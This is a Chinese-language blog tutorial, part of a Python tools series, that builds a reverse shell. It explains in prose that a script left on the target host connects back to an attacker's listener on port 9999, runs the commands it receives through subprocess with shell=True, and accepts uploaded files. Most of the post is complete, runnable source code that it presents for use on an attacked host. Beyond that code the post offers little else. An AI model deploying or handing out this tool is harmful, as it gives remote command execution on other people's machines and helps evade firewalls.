python小工具学习连载-反向shell

python小工具学习连载

-反向shell-

使用本网站前,请先阅读免责声明,同意其内容后再进行食用!

​ 在上一集的文章中,我们完成了一个类似瑞士军刀的工具,我们将该工具上传到被攻击的目标主机上后,可以通过主动连接被攻击者去获取shell,但是在大多数情况下,我们的正向连接,很可能会因为防火墙等设备导致正向连接失败,比如我在mac下开启了mac的防火墙后,则windows无法主动连接成功我的mac。这个时候,就需要反向的shell来帮助我们。其实反向shell的原理也十分简单,原来我们是服务器调用命令执行的模块,而这次我们客户端去调用命令执行的模块,客户端首先主动连接服务器,然后我们在服务器端输入命令,发送给客户端,由客户端执行后返回给服务器。

工具效果

还是先上截图:

服务器端,开启监听 9999端口

Snipaste_2021-12-10_17-07-22.png

 

客户端主动尝试连接服务器。

Snipaste_2021-12-10_17-07-49.png

 

 

 

可以看到,我们的服务器首先在接受到客户端的请求后,弹出来命令输入到地方,然后将命令发送给客户端执行,并返回了执行的结果,上传文件也同理,可以看到成功上传了我们上一次的正向代理的脚本代码。

实现原理

其实这个工具的实现原理基本和上一次的正连接相同。

还是首先在主函数,判断用户启动的是客户端还是服务端。

    # 判断是听还是发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        client_sender()
    if listen:
        server_loop()

我们首先启动服务器端。

def server_loop():
    global target

    # 如果没有定义目标,那么要监听所有端口
    if not len(target):
        target = "0.0.0.0"

    # 创建socket连接
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(((target,port)))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        # 给一个线程用来处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

可以看到,服务器端首先开启监听所有端口,然后进入一个死循环,不断等待接受连接,并给新的连接分配线程,每个线程调用的都是客户端的处理函数。

def client_handler(client_socket):
     while True:
            recv_len = 1
            response = bytes("",encoding="utf-8")

            while recv_len:
                data = client_socket.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            
            print(response)

            # 等待更多输入
            buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'
            buffer = bytes(buffer,encoding="utf-8")

            # 客户端发送数据
            client_socket.send(buffer)

然后在处理函数中,首先接受客户端发送的消息,然后提示用户输入内容,并发送给客户端。这里的处理,其实就是正向连接中,客户端对收到服务器连接成功信息后的处理结果。

此时,我们的服务器会重复接受客户端的信息,提示用户输入信息,将用户输入的信息发送给客户端这3个步骤。

然后我们来看客户端。

def client_sender():
    global upload
    global command
    # 创建socket连接
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 尝试连接到目标主机
        client.connect((target,port))
    
        client.send(bytes("connect success!",encoding="utf-8"))
        while True:
            cmd_buffer = bytes("",encoding="utf-8")
            while b"\n" not in cmd_buffer:
                cmd_buffer+=client.recv(4096)
            if 'upload_file=' in str(cmd_buffer): 
                upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
                f = open(upload_file,'w')
                f.write(str(cmd_buffer).split('=')[2][0:-3])
                f.close()
                response = bytes('upload success!',encoding='utf-8')
            else:
                # 返还命令输出
                response = run_command(cmd_buffer)
            # 返回响应数据
            client.send(response)
    except:
        print("程序执行错误或用户主动退出!")

客户端首先尝试连接服务器,在连接到服务器后向服务器发送连接成功的信息,之后循环接受服务器发送到信息,并将其处理执行,而后将返回结果再发送给服务器。

这样就完成了反向的shell命令执行,其实代码基本没有变化,只不过是代码的位置发生了调换而已。

当然还有一点,上次没有说到,就是我们为什么服务器处理客户端端信息,使用的是客户端的socket呢,这个其实是因为,服务器首先可以接受到多个客户端的连接,而为了分辨要给那个客户端发送信息,所以服务器会在收到连接请求的时候,获取到客户端的socket信息,然后通过这个socket,就可以将不同客户端的信息发送给其对应的客户端。

 

相关代码

import sys
import socket
import getopt
import threading
import subprocess

# 全局变量
listen = False
target = ""
port = 0

def help():
    print("""
    python3 netcat.py -t target_host -p port
    -l --listen      开启监听
    eg:
    python3 netcat.py -t 192.168.1.1 -p 5555 -l 
    python3 netcat.py -t 192.168.1.1 -p 5555"
    开启shell后可通过
    upload_file=abc.txt 来上传文件
    """)
    sys.exit(0)

def client_sender():
    global upload
    global command
    # 创建socket连接
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 尝试连接到目标主机
        client.connect((target,port))
    
        client.send(bytes("connect success!",encoding="utf-8"))
        while True:
            cmd_buffer = bytes("",encoding="utf-8")
            while b"\n" not in cmd_buffer:
                cmd_buffer+=client.recv(4096)
            if 'upload_file=' in str(cmd_buffer): 
                upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
                f = open(upload_file,'w')
                f.write(str(cmd_buffer).split('=')[2][0:-3])
                f.close()
                response = bytes('upload success!',encoding='utf-8')
            else:
                # 返还命令输出
                response = run_command(cmd_buffer)
            # 返回响应数据
            client.send(response)
    except:
        print("程序执行错误或用户主动退出!")

def server_loop():
    global target

    # 如果没有定义目标,那么要监听所有端口
    if not len(target):
        target = "0.0.0.0"

    # 创建socket连接
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(((target,port)))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        # 给一个线程用来处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()

def run_command(command):
    # 换行
    command  = command.rstrip()
    # 运行命令返回输出
    try:
        command = str(command)[2:-1]
        output = subprocess.check_output(command,stderr = subprocess.STDOUT,shell=True)
        if output == b'':
            output = bytes('success',encoding="success")
    except:
        output = bytes("failed to execute command \n\r",encoding="utf-8")
    return output

def client_handler(client_socket):
     while True:
            recv_len = 1
            response = bytes("",encoding="utf-8")

            while recv_len:
                data = client_socket.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            
            print(response)

            # 等待更多输入
            buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'
            buffer = bytes(buffer,encoding="utf-8")

            # 客户端发送数据
            client_socket.send(buffer)
            
def main():
    # 获取全局变量
    global listen
    global port
    global target
    
    # 获取用户输入的参数
    if not len(sys.argv[1:]):
        help()
    
    try:
        opts,args = getopt.getopt(sys.argv[1:],
        "hlt:p:",
        ["help","listen","target","port"])
    except:
        print("error!")

    for o,a in opts:
        if o in ("-h","--help"):
            help()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ('-t',"--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            print('您输入的参数有误!')
    
    # 判断是听还是发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        client_sender()
    if listen:
        server_loop()

main()

 

请登录后发表评论

    • 小白的头像-FancyPig's blog汉堡会员小白LV10超级版主0